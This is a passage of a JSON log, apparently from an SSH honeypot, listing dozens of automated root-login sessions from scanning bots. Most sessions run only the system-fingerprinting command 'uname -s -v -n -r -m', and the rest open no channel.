  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:02:41.532245+00:00",
  "ended_at": "2026-08-25T01:02:47.137945+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d0bd3ec0-1dba-4c35-8c47-fb0ead7468e7",
  "name": "woven-burly-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:02:03.815012+00:00",
  "ended_at": "2026-08-25T01:02:09.728530+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "081e7fdb-fad1-4525-899c-cf6577ac0cea",
  "name": "rambling-daring-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51662,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:01:53.507895+00:00",
  "ended_at": "2026-08-25T01:01:58.120950+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "30ec9467-715b-4601-b81f-63eff23c010b",
  "name": "rambling-painted-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50794,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:01:47.011627+00:00",
  "ended_at": "2026-08-25T01:01:49.905572+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1d0b6ad9-196d-4e54-88a5-982b2f157d75",
  "name": "vivid-northern-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 282,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:01:12.204151+00:00",
  "ended_at": "2026-08-25T01:01:15.211897+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9e393f01-48ce-4434-9e2e-64a863d70d1b",
  "name": "boreal-freckled-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33288,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:00:43.525781+00:00",
  "ended_at": "2026-08-25T01:00:47.602013+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7037bfae-c7f2-4d57-9489-6623a52c071a",
  "name": "jolly-steady-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T01:00:25.411056+00:00",
  "ended_at": "2026-08-25T01:00:30.709828+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "adbfca08-12c9-42a3-88b0-ad0655a6662d",
  "name": "loyal-brazen-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.153.34.165",
  "src_port": 41708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T01:00:04.501876+00:00",
  "ended_at": "2026-08-25T01:00:06.504022+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a9d95ec3-48ce-4feb-abb8-6b965bda6184",
  "name": "merry-amber-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:59:20.508740+00:00",
  "ended_at": "2026-08-25T00:59:25.700398+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "194766d0-6ef6-4a10-a256-b668880aa258",
  "name": "pristine-seaward-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 38090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:59:10.616502+00:00",
  "ended_at": "2026-08-25T00:59:16.089378+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1758a9d6-ffc3-451f-afee-484772db0706",
  "name": "civil-dewy-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:58:48.705333+00:00",
  "ended_at": "2026-08-25T00:58:54.509529+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee52835d-9c8a-4236-a5d9-b7d982c700e8",
  "name": "rambling-tangled-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:57:59.911631+00:00",
  "ended_at": "2026-08-25T00:58:06.022682+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "545b9568-3da4-4e4d-8fd3-c8903efe415f",
  "name": "alpine-gleaming-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46956,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:57:13.604622+00:00",
  "ended_at": "2026-08-25T00:57:19.390885+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ed96cb2-104e-462a-8c93-7022500d0257",
  "name": "vigilant-shaded-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44170,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:56:42.416770+00:00",
  "ended_at": "2026-08-25T00:56:47.911804+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17e685d1-23c9-48c4-9167-51a6e6ea3189",
  "name": "placid-fierce-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44428,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:55:27.109899+00:00",
  "ended_at": "2026-08-25T00:55:30.997478+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f112d664-af79-45e4-9146-77012295aba7",
  "name": "cobalt-vaulted-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 36924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:54:44.824470+00:00",
  "ended_at": "2026-08-25T00:54:49.626650+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c7a35f0f-656b-43bb-8843-920fd791d67b",
  "name": "murky-craggy-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51910,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:54:25.803235+00:00",
  "ended_at": "2026-08-25T00:54:28.916130+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "de09958d-a8a2-4c2d-880e-25ba4120a275",
  "name": "opal-burly-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:54:17.915260+00:00",
  "ended_at": "2026-08-25T00:54:23.993395+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "58ccdcb6-0556-4d89-8b40-3b2bdfbbc897",
  "name": "chilly-early-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:54:00.902855+00:00",
  "ended_at": "2026-08-25T00:54:05.297438+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d722c5fd-cd1b-4d94-9293-251e2b8b7b3f",
  "name": "steady-noble-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:53:42.917808+00:00",
  "ended_at": "2026-08-25T00:53:45.707441+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2986088e-8e1d-4116-9ef7-539e5eb0f696",
  "name": "ruddy-keen-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:52:38.413200+00:00",
  "ended_at": "2026-08-25T00:52:43.293179+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c4dd897a-cbd9-426c-beec-c7e07a8d5002",
  "name": "misty-gallant-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33842,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 225,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:52:31.001378+00:00",
  "ended_at": "2026-08-25T00:52:35.622366+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1022925f-4df2-4e1e-9bbe-8a96cdea34e1",
  "name": "nautical-freckled-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48624,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:52:09.797370+00:00",
  "ended_at": "2026-08-25T00:52:15.205899+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8039bd06-06e9-4f57-a16a-7fa0b7fe6e83",
  "name": "hardy-placid-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 51646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 245,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:52:04.621417+00:00",
  "ended_at": "2026-08-25T00:52:08.303148+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09a79b2a-bf9a-4d0f-ba80-7567e3829384",
  "name": "dappled-fabled-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58412,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:51:49.389022+00:00",
  "ended_at": "2026-08-25T00:51:52.703376+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4b431b2b-d2db-4cf9-b9c9-235ce862bbd9",
  "name": "hardy-craggy-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 35972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 234,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:51:22.224318+00:00",
  "ended_at": "2026-08-25T00:51:27.728589+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef752d03-bd26-43a4-8d6d-a4173e70bc5c",
  "name": "dusty-lucid-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 49146,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:50:42.890247+00:00",
  "ended_at": "2026-08-25T00:50:45.708843+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d2020ee8-fdfa-442d-a00f-2ffa8d4cd904",
  "name": "serene-ginger-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 58156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:50:29.790723+00:00",
  "ended_at": "2026-08-25T00:50:33.997015+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4ade1c9a-c770-42f7-ac20-b6f76aaa94c1",
  "name": "cunning-lively-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45214,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:50:06.505113+00:00",
  "ended_at": "2026-08-25T00:50:09.813151+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c79f5359-97bc-45d2-a925-862db6378c90",
  "name": "umber-crisp-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 44282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:49:34.605620+00:00",
  "ended_at": "2026-08-25T00:49:38.814598+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9bcf0a2a-376a-4be5-80cf-3de82cce80d2",
  "name": "austere-canny-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:48:55.199640+00:00",
  "ended_at": "2026-08-25T00:48:58.611310+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "06219570-dcab-47fa-82bc-0ffe7f7b1884",
  "name": "fierce-meadow-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42946,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:48:30.814343+00:00",
  "ended_at": "2026-08-25T00:48:36.713769+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a27cdc4d-45cb-435a-ad25-9d57504bbc50",
  "name": "umber-sturdy-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 53232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:47:51.990279+00:00",
  "ended_at": "2026-08-25T00:47:56.302276+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ed4b44e-133e-4ffa-8594-bfe268c66bf4",
  "name": "craggy-gilded-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:47:42.311955+00:00",
  "ended_at": "2026-08-25T00:47:48.199753+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9f8788bd-ec2b-4392-9f0f-2d812075afda",
  "name": "buoyant-bashful-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:47:16.712080+00:00",
  "ended_at": "2026-08-25T00:47:21.124724+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "58f249d8-3c54-4d73-9bc7-9c01937bc82c",
  "name": "solar-upland-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 60804,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:47:10.005082+00:00",
  "ended_at": "2026-08-25T00:47:13.015064+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1cfbed42-6026-4e47-88ca-07b7e300f46a",
  "name": "hearty-jolly-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:47:03.901054+00:00",
  "ended_at": "2026-08-25T00:47:07.607357+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c6b7ef3b-7267-44eb-9425-d0cc147a2cb2",
  "name": "patient-gallant-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 40084,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 251,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:45:31.523405+00:00",
  "ended_at": "2026-08-25T00:45:33.598096+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d560180f-df7b-4981-b34e-b9a83a7c313b",
  "name": "frank-fearless-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 46282,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:45:06.620089+00:00",
  "ended_at": "2026-08-25T00:45:08.224884+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4bcea659-ffd1-4072-8f69-73ec18f993b9",
  "name": "genial-somber-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56408,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 223,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:44:52.019495+00:00",
  "ended_at": "2026-08-25T00:44:54.108424+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6fb39d34-cd6c-44bf-b2ea-ee879d81fbb3",
  "name": "slender-sullen-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:43:58.399096+00:00",
  "ended_at": "2026-08-25T00:43:59.096122+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eca73263-329e-4999-8729-7fdee3a2a8b0",
  "name": "mellow-sandy-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 59776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 194,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:43:42.114792+00:00",
  "ended_at": "2026-08-25T00:43:42.737915+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df65ad36-32dd-48a8-9681-2322291ef67c",
  "name": "tender-misty-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.153.34.165",
  "src_port": 52262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:43:34.607724+00:00",
  "ended_at": "2026-08-25T00:43:36.908581+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8e473d1a-0532-4782-ba39-5cb2483f46bc",
  "name": "prickly-pleasant-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T00:43:34.119254+00:00",
  "ended_at": "2026-08-25T00:43:36.909632+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "4910e8d8-8c48-4ffc-9461-667e13aa9c6a",
  "name": "silent-thorny-ptarmigan",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.153.34.165",
  "src_port": 38606,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:43:12.318126+00:00",
  "ended_at": "2026-08-25T00:43:14.013110+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "71fb53f9-6ab0-41a9-9804-22326802402f",
  "name": "rambling-brisk-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "119.209.12.20",
  "src_port": 51152,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:41:31.762452+00:00",
  "ended_at": "2026-08-25T00:41:32.833883+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78d53bb5-3f26-4ebb-aa16-9463470a5879",
  "name": "airy-seaward-catbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.24.211.204",
  "src_port": 18642,
  "username": "root",
  "client_version": "SSH-2.0-libssh2_1.11.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-25T00:08:37.930661+00:00",
  "ended_at": "2026-08-25T00:08:39.244006+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "52ba8afe-d2e6-4351-842c-9993347e6267",
  "name": "frosty-canny-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.161.222.150",
  "src_port": 48366,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:25:57.707953+00:00",
  "ended_at": "2026-08-24T23:25:58.745046+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b8ed483e-bd85-42ab-8949-2d76a023c8fa",
  "name": "sturdy-lawful-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 59264,
  "username": "root",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 3,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T23:17:07.546827+00:00",
  "ended_at": "2026-08-24T23:17:11.246269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09da2a10-ee55-46e0-8cf0-a08dec2447dd",
  "name": "subtle-sullen-antelope",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "195.178.110.137",
  "src_port": 65036,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:18:33.879191+00:00",
  "ended_at": "2026-08-24T22:18:36.305325+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b20df2f6-bd1c-4c7b-9c13-8db1ce6263e4",
  "name": "hidden-restless-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "139.170.155.208",
  "src_port": 55210,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T22:08:32.172938+00:00",
